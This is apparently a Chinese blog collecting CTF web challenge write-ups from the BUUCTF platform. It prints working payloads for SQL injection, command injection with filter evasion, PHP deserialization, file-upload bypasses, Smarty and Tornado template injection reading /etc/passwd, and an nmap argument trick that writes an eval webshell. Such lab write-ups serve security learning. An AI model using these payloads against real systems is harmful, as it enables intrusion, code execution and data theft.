平台web题目质量很高 有以往的一些比赛题目
[HCTF 2018]WarmUp
右键查看源代码 发现 <!--source.php-->
访问source.php
发现源码 题目考察代码审计
1 |
|
第一时间没有去分析源码而是去访问了hint.php
得到如下信息
1 | flag not here, and flag in ffffllllaaaagggg |
回头分析源码
首先file
必须存在且必须是字符串 之后源码去访问类里面的checkFile
方法 重点分析方法里面的内容
核心代码
1 | $_page = mb_substr( |
大致意思就是获取?前面的数据,截断?后面的数据
1 | $_page = urldecode($page); |
进行了一次url解码
所以我们构造payload如下
get会自行解码一次 程序里会自行解码一次所以我们把?进行两次编码
1 | source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg |
得到flag
1 | flag{e6a6362a-6c69-402f-b469-63d39794be76} |
随便注
2019强网杯的一道题目
输入
1 | inject=1' union select 1,2 --+ |
发现 程序使用正则过滤了一些关键字
这里我们可以用堆叠注入
在mysql中前语句闭合分号结束后后面的语句也会被执行
1 | inject=1';show databases; |
可查询出所有数据库
1 | inject=1';show tables; |
查询当前数据库下所有表名
1 | inject=1';show columns from `1919810931114514`; |
有个坑
1 | mysql中点引号( ‘ )和反勾号( ` )的区别 |
这里当做表名 进行查询时需要加反引号 不然会查询不出来
查询出了flag字段名
正则过滤了select 无法查询字段数据。后看了师傅们的wp涨姿势了
题目一开始默认查询words表下的数据
猜测后端sql语句为
1 | select * from words where id=$inject; |
而程序又并未过滤alter
和rename
通过重命名把藏flag的表和列改成默认查询的表和列的名字 这样程序就会读到flag
payload:
1 | inject=1'alter table `1919810931114514` add `id` int default 1; |
[SUCTF 2019]CheckIn
suctf中的一题 当时没有写出来 出了官方wp后好好研究了一下
一个上传点 我想很多师傅想到的都是用.htaccess
吧 然而发现不行。。
后来看了wp涨姿势了
.user.ini
比.htaccess
用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法
上传一个.user.ini
内容为 因为程序会检测文件头所以要加一个GIF98a
1 | GIF98a |
指定同文件夹下的PHP都会包含flag.jpg
类似于使用了include 'flag.jpg'
这时候我们上传一个flag.php
程序还过滤了<?
不能写<?php xxx?>
用<script language='php'>xxx</script>
来绕过
当然内容也可以换成一句话
上传后 显示文件路径和文件列表 发现目录下存在index.php 这时候index.php应该是包含了flag.jpg里的内容 访问即可拿到flag
[极客大挑战 2019]PHP
看到良好的备份网站习惯
url
上直接/www.zip
下载了网站源码
index.php里发现核心代码
1 | <?php |
考察反序列相关漏洞
不太了解的可以去看
先知上的这篇文章一文让PHP反序列化从入门到进阶
读了class.php
发现需要 username=admin
并且 password=100
才可以 还有一段核心代码
1 | function __wakeup(){ |
我们本地进行实例化
1 | $a = new Name('admin',100); |
得到序列化后的字符串为
1 | O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
因为反序列化之前会先调用__wakeup()
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
所以我们最终提交的payload为
1 | ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
[极客大挑战 2019]BuyFlag
题目较简单
考察PHP的特性
抓包 看到cookie user=0
替换成 user=1
绕过第一层
接下来看到源码里有一段
1 | ~~~post money and password~~~ |
需要post
一个password
参数参数 是数字型还必须等于404 看似矛盾
利用==
特性password=404a
即可绕过
最后还需要传入monkey
参数 值必须大于100000000
直接
1 | password=404aaa&money=100000000 |
会提示值的长度太长 这里科学计数法绕过
最终payload为
[ACTF2020 新生赛]Upload
新生赛 比较简单考察的都是些基础姿势
右键查看源代码发现只是基于前端的验证直接把html保存到本地,之后把前端验证的js删除。然后修改一下前端的form
最后直接上传一个PHP文件注意后缀不能是.php因为被过滤了。这里直接使用.phtml上传一句话 蚁剑链接。根目录下存在flag文件
[GXYCTF2019]Ping Ping Ping
根据题目名猜测是命令执行
ls
后发现当前目录存在flag.php文件想的是直接 cat index.php,cat flag.php
但是却被过滤了空格这里使用$IFS$1
来替代空格即可绕过$IFS$1
的大概意思是一个制表符和一个换行。
读取index.php
的内容发现程序还用正则过滤了flag
关键字.绕过也很简单
1 | ip=127.0.0.1;a=ag.php;b=fl;cat$IFS$1$b$a |
具体可以参考我的这篇命令执行漏洞整理。详细的介绍了一些命令执行的姿势。
[ZJCTF 2019]NiZhuanSiWei
第一层我们用php://input
绕过。file参数后面用伪协议读取useless.php
的内容
useless.php
文件内容为
最后我们令file=useless.php
可以看到代码会反序列化password
传入的内容所以我们直接传入序列化字符串。代码反序列化以后则会打印flag值
最开始第一层想到了php://input 却没第一时间想到伪协议读取文件源码后来才想到。还是缺少想法,多刷题。。
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目涉及到一些sql注入的姿势 这里提一下
异或注入
异或也是一种逻辑运算。在MySQL里可以用 ^
或xor
来表示
1 | xor |
[护网杯 2018]easy_tornado
打开题目发现有三个链接
内容分别为
1 | /flag.txt |
url的格式为http://dfc74aaa-c360-43e3-9ecd-19b3fe5da0f0.node3.buuoj.cn/file?filename=/flag.txt&filehash=a373eb0c3cd7f371d56587ba4844e347
第一反应应该是md5(cookie_secret+md5(filename))
的值就是相对应的filehash的值,只要提交/fllllllllllllag
和对应的filehash值,应该就可以拿到flag。这里有一个render
最开始没懂,百度了一下发现render是python中的一个渲染函数。
是一个Python的模板注入。首先我们要获取到cookie_secret才可以得到filehash的值。
Handler指向的处理当前这个页面的RequestHandler对象!
1 | http://dfc74aaa-c360-43e3-9ecd-19b3fe5da0f0.node3.buuoj.cn/error?msg={{handler.settings}} |
得到
1 | 'cookie_secret': '44a0e1e6-c525-40b2-b142-1535736f70d0' |
最后去cmd5加密一下就好了
[RoarCTF 2019]Easy Calc
直接查看网页源代码发现了这串 ajax的请求
访问 calc.php
文件 获取到php源码
看到源码后 应该想到传参num
绕过正则去进行代码执行的操作。
经过测试这个waf是不允许在num
变量里面传入字母的只能是数字
1 | 也就是这样当我们输入 |
因为PHP获取 GET/POST 参数时,会直接去除变量前的空格
scandir是列出目录下所有文件
我先在我本地尝试一下
1 | //正常payload 被正则拦截 |
1 | http://node3.buuoj.cn:27408/calc.php?%20num=var_dump(scandir(chr(47))); |
1 | http://node3.buuoj.cn:27408/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) |
file_get_contents是把文件读入到一个字符串中。没必要用var_dump输出了因为是读入到一个字符串。最后利用echo输出即可
1 | flag{7b0d0193-c15c-43aa-bf4a-9ed698e71e00} |
[极客大挑战 2019]Upload
验证文件后缀,并且验证了文件类型 和文件内容
这样进行绕过。传上去在后面价格upload/可以发现自己传的马
上面的都是谁传的我也不知道 哈哈哈。
[BJDCTF2020]Easy MD5
这种题有种似曾相识的感觉。但是翻了下笔记却没有找到
最开始没有思路抓下包看看
1 | select * from 'admin' where password=md5($pass,true) |
我们需要提交参数为ffifdyop可以绕过。这个字符串被md5(‘ffifdyop’,true)是返回原始字符的16进制 这样进行加密以后我们得到了'or'6É]™é!r,ùíb
因为md5返回的字符串到时候 拼接成这个语句这就造成了类似万能密码的功能 or 返回真
1 | select * from 'admin' where password=''or'6É]™é!r,ùíb' |
绕过以后到达第二步
这种姿势我们入门那会应该都做过 不说了 直接找一个md5 为0e开头的不同字符串就好了
还有一种放方法因为 md5这个函数是无法处理数组的所以 提交数组都会返回NULL所以相等 那么我们也可以提交一个数组上去
1 | 4a5eec40-bb3d-49e1-a144-c62e1ae85f31.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=240610708 |
还有第三步 ,这个的话 直接用我们上面的法2
[GYCTF2020]Blacklist
这个题和 强网杯 随便注题目类似 但是 过滤增加了 alert 和 rename也就是说不能用 随便注的思路去修改表名,使其默认查询了
前面思路是类似的
1 | 1'show tables; |
接下来我们发现了 猫腻
这时候用到HANDLER语句
handler类似于select语句,但又不同于后者,它只能每次查询1次记录。
1 | HANDLER tbl_name OPEN ; //打开这个表 |
最终我们构造payload为
1 | 1';HANDLER FlagHere OPEN;HANDLER FlagHere read first; |
[极客大挑战 2019]RCE ME
现在一般的rce应该已经难不倒我了(小声bb)
首先看到源码
1 |
|
第一时间想到了取反。这时候看了下PHP的环境为php7心想稳了 因为只有php7可以动态执行函数。php5下就这个姿势就不成立了。具体参考p牛的这篇文章吧无字母数字webshell之提高篇
所以我们的payload为
1 | http://391d456e-0cd9-4838-a5ba-a969c031da92.node3.buuoj.cn/?code=(~%8F%97%8F%96%91%99%90)(); |
get会自解码一次解码以后取反 最终获取到的就是phpinfo()
往下翻可以看到禁用了非常多的函数
因为禁用了disable_functions 所以直接蚁剑插件市场下载此插件即可绕过
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目提示是SQL注入
第一眼感觉跟强网杯的”随便注“有点像,所以第一反应就是堆叠注入,发现不可行,很多都被过滤了。
最后经过测试就是有一些过滤 空格 分号 引号等。在输入框中,输入1和2的返回结果是不一样的。
输入1 返回Hello, glzjin wants a girlfriend.
输入2返回Do you want to be my girlfriend?
简单的盲注。
1 | if(ascii(substr((select(flag)from(flag)),1,1))=102,1,2) |
因为过滤了空格无法绕过,我这里用()代替 ()两端可以不包含空格
任何可以计算出结果的语句,都可以用括号包围起来
二分法写个脚本看看
1 | import requests |
[GXYCTF2019]BabySQli
点进题目一个登陆框
随便输入一下登陆看看。
有一串编码,经尝试是base32,解码以后得到base64,最后解码base64得到
1 | select * from user where username = '$name' |
很明显 name参数存在SQL注入
1 | select * from user where username = '$name' |
有过滤存在 果然事情并没有想象中那么简单。
[BJDCTF2020]The mystery of ip
首页有一个a标签可直接跳转到这里
在结合题目的名字,想到了 xff头伪造
X-Forwarded-For:127.0.0.1
开始还以为是xff注入结果确实 smarty的SSTI。(确实让人很难想到
查看smarty的版本
X-Forwarded-For: {$smarty.version}
{if}标签
全部的PHP条件表达式和函数都可以在Smarty的{if}
内使用
1 | {if system("cat /flag")}{/if} |
smarty SSTI常用的利用方式
{if}标签
全部的PHP条件表达式和函数都可以在Smarty的{if}
内使用
{literal}标签
{literal}
可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
那么对于php5的环境我们就可以使用
1 | <script language="php">phpinfo();</script> |
来实现PHP代码的执行,但这道题的题目环境是PHP7,这种方法就失效了。
恰好这道题的环境是PHP/7.3.13
还有另一种姿势
通过self获取Smarty类在调用器静态方法实现文件读写操作
Smarty类的getStreamVariable方法的代码如下:
1 | public function getStreamVariable($variable) |
利用payload如下
1 | {self::getStreamVariable("file:///etc/passwd")} |
而且在3.1.30的Smarty版本中官方已经把该静态方法删除。
[BUUCTF 2018]Online Tool
接收host参数以后经过 escapeshellarg
escapeshellcmd
进行过滤转义。
escapeshellarg
escapeshellcmd
两个函数组合进行过滤的时候会产生漏洞。
当我们输入' whoami '
,经过这两个函数处理之后变为''\\'' whoami '\\'''
,这让就让所有'
都闭合掉了,从而绕过函数通过'
让参数变成字符串的过滤。
二个利用的点,nmap命令的-oG
参数能够将命令和结果都写入一个文件里面,从而可以写入一句话木马。
payload
1 | ?host=' <?php @eval($_POST["a"]);?> -oG 1.php ' |
简单说就是通过前面那两个函数的闭合,让一句话逃逸出去,并写入到1.php文件里了。
文件目录
1 | http://ctf.com/ac5cf498959b1e07539a2e08ef51e1c2/1.php |
[网鼎杯 2020 朱雀组]phpweb
抓包可以看到
应该 func参数接收函数,P参数接收的就是函数里的参数,最后方包以后会直接执行。
经测试确实是这样
但是一些敏感的 system
eval
等命令执行,代码执行的函数被过滤了。
第一反应就是读取源码
1 | func=highlight_file&p=index.php |
index.php 源码为
1 |
|
的确过滤了很多,仔细观察发现并没有过滤反序列化函数 unserialize
1 |
|
1 |
|
func参数为反序列化函数 unserialize
p参数内容为序列化后的字符串。
[BJDCTF2020]ZJCTF,不过如此
1 |
|
很简单根据提示我没首先读取next的源码看看
1 | text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php |
next.php
源码如下
1 |
|
preg_replace
函数可能会导致命令执行
preg_replace
的 /e 修正符会将 参数当作 php 代码,并且以 eval 函数的方式执行
因为 PHP get 参数名中的 .
会被转换成 _
, 所以不能用 .*
这个正则
\S
表示匹配任意非空白符的字符, *
表示重复零次或更多次
1 | \S*=${getFlag()}&cmd=system(%27cat%20/flag%27); |
至于为什么是 ${getFlag()} 的格式 而不是 getFlag()
${getFlag()}中的getFlag会被当作变量先执行,执行后变成${1}(1是因为phpinfo()成功执行后返回true),而strtolower("{${1}}")
又相当于 strtolower("{null}")
又相当于 ‘’ 空字符串. 总结就是 getFlag没被替换掉却又执行了。